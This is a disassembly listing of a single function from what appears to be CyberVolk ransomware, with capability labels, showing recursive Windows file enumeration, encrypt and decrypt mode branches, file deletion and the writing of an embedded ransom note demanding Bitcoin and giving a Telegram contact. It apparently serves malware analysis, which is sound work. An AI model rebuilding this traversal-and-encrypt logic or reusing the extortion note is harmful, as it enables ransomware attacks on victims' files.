Function at 0x422120
Capabilities:
Delete file
Enumerate files on windows
Enumerate files recursively
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1ac4
call fcn.00419570
push ebx
push esi
push edi
mov edi, edx
mov ebx, ecx
mov dword [ebp - 4], ebx
cmp di, 0x65
jne 0x42214a
cmp byte [0x42b918], 0
je 0x422599
push 0x1450
lea eax, [ebp - 0x1ac0]
push 0
push eax
call fcn.004023d0
mov eax, dword [0x428ec8]
mov ecx, ebx
mov dword [ebp - 0x10], eax
add esp, 0xc
mov ax, word [0x428ecc]
mov word [ebp - 0xc], ax
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x422177
sub ecx, edx
sar ecx, 1
cmp ecx, 0x30c
ja 0x422599
push 0x104
lea eax, [ebp - 0x670]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
movzx ecx, word [ebx]
movzx edx, word [ebp - 0x670]
mov ebx, ecx
mov esi, edx
lea eax, [ecx - 0x61]
movzx eax, ax
lea ecx, [edx - 0x61]
mov dword [ebp - 8], eax
cmp cx, 0x19
lea eax, [esi - 0x20]
movzx edx, ax
mov eax, esi
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
cmova edx, eax
cmp word [ebp - 8], 0x19
lea eax, [ebx - 0x20]
movzx ecx, ax
mov eax, ebx
cmova ecx, eax
cmp dx, cx
jne 0x422279
cmp word [ebp - 8], 0x19
lea eax, [ebx - 0x20]
movzx ecx, ax
mov eax, ebx
mov ebx, dword [ebp - 4]
cmova ecx, eax
movzx eax, word [ebp - 0x670]
push str.Users
push eax
lea eax, [ebp - 0x468]
mov word [ebx], cx
push str._c:_s_
push eax
call esi
lea ecx, [ebp - 0x468]
add esp, 0x10
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x422230
sub ecx, edx
lea eax, [ebp - 0x468]
sar ecx, 1
push ecx
push eax
push ebx
call fcn.0040c597
add esp, 0xc
test eax, eax
je 0x422268
mov edx, edi
lea ecx, [ebp - 0x468]
call fcn.00422120
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
test al, 2
jne 0x422599
jmp 0x42227c
mov ebx, dword [ebp - 4]
push ebx
lea eax, [ebp - 0x1ac0]
push str._s.
push eax
call esi
add esp, 0xc
lea eax, [ebp - 0x260]
push eax
lea eax, [ebp - 0x1ac0]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
mov dword [ebp - 4], esi
cmp esi, 0xffffffff
je 0x422599
lea ecx, [ebp - 0x234]
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4222c0
sub ecx, edx
sar ecx, 1
cmp ecx, 0xff
ja 0x4224b9
mov eax, dword [ebp - 0x260]
cmp eax, 4
je 0x4224b9
cmp eax, 0x10000
je 0x4224b9
test al, 0x10
je 0x4223d9
lea ecx, [ebp - 0xe]
lea eax, [ebp - 0x234]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x42232c
test dx, dx
je 0x422328
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x42232c
add eax, 4
add ecx, 4
test dx, dx
jne 0x422306
xor eax, eax
jmp 0x422331
sbb eax, eax
or eax, 1
test eax, eax
je 0x4224b9
lea ecx, [ebp - 0x10]
lea eax, [ebp - 0x234]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x422368
test dx, dx
je 0x422364
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x422368
add eax, 4
add ecx, 4
test dx, dx
jne 0x422342
xor eax, eax
jmp 0x42236d
sbb eax, eax
or eax, 1
test eax, eax
je 0x4224b9
xor eax, eax
push ebx
mov word [ebp - 0x1ac0], ax
lea eax, [ebp - 0x1ac0]
push 0x30c
push eax
call fcn.004054b4
add esp, 0xc
lea eax, [ebp - 0x234]
push eax
lea eax, [ebp - 0x1ac0]
push 0x30c
push eax
call fcn.004054b4
add esp, 0xc
lea eax, [ebp - 0x1ac0]
push 0x428ef8
push 0x30c
push eax
call fcn.004054b4
add esp, 0xc
lea ecx, [ebp - 0x1ac0]
mov edx, edi
call fcn.00422120
jmp 0x4224b1
xor eax, eax
push ebx
mov word [ebp - 0x1ac0], ax
lea eax, [ebp - 0x1ac0]
push 0x30c
push eax
call fcn.004054b4
add esp, 0xc
lea eax, [ebp - 0x234]
push eax
lea eax, [ebp - 0x1ac0]
push 0x30c
push eax
call fcn.004054b4
add esp, 0xc
lea eax, [ebp - 0x1ac0]
push str.CyberVolk_ReadMe.txt
push eax
call fcn.00401d9c
add esp, 8
test eax, eax
jne 0x4224b9
cmp di, 0x65
jne 0x422471
lea eax, [ebp - 0x1ac0]
push 0x428c10
push eax
call fcn.00401d9c
add esp, 8
test eax, eax
jne 0x4224b1
push ecx
lea ecx, [ebp - 0x1ac0]
call fcn.0041b570
add esp, 4
lea eax, [ebp - 0x1ac0]
push eax
push 0x428efc
call fcn.00401070
add esp, 8
jmp 0x4224b1
cmp di, 0x64
jne 0x4224b1
lea eax, [ebp - 0x1ac0]
push 0x428c10
push eax
call fcn.00401d9c
add esp, 8
test eax, eax
je 0x4224b1
sub esp, 0x18
lea ecx, [ebp - 0x1ac0]
call fcn.0041b050
lea eax, [ebp - 0x1ac0]
push eax
push str.Decrypting_File_:__s_n
call fcn.00401070
add esp, 0x20
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x260]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x4222b0
push ebx
mov word [ebp - 0x1ac0], ax
lea eax, [ebp - 0x1ac0]
push 0x30c
push eax
call fcn.004054b4
add esp, 0xc
lea eax, [ebp - 0x1ac0]
push str.CyberVolk_ReadMe.txt
push 0x30c
push eax
call fcn.004054b4
add esp, 0xc
cmp di, 0x65
jne 0x422570
lea eax, [ebp - 0x1ac0]
push 0x428f54
push eax
call fcn.0040b9dd
mov edi, eax
add esp, 8
test edi, edi
je 0x422592
xor esi, esi
nop word [eax + eax]
cmp byte [esi + str.Greetings._n_All_your_files_have_been_encrypted_by_CyberVolk_ransomware._n_Please_never_try_to_recover_your_files_without_decryption_key_which_I_give_you_after_pay.__nThey_could_be_disappeared__nYou_should_follow_my_words._nPay__1000_BTC_to_below_address._nMy_telegram_:__hacker7_nOur_Team_:_https:__t.me_cubervolk_nWe_always_welcome_you_and_your_payment.], 0
lea ecx, [esi + str.Greetings._n_All_your_files_have_been_encrypted_by_CyberVolk_ransomware._n_Please_never_try_to_recover_your_files_without_decryption_key_which_I_give_you_after_pay.__nThey_could_be_disappeared__nYou_should_follow_my_words._nPay__1000_BTC_to_below_address._nMy_telegram_:__hacker7_nOur_Team_:_https:__t.me_cubervolk_nWe_always_welcome_you_and_your_payment.]
je 0x422556
push edi
push 1
push 1
push ecx
call fcn.0040bf6c
inc esi
add esp, 0x10
cmp esi, 0x800
jl 0x422530
push edi
call fcn.0040bb30
mov esi, dword [ebp - 4]
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp di, 0x64
jne 0x422592
lea eax, [ebp - 0x1ac0]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0x1ac0]
push eax
call fcn.00404ae8
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret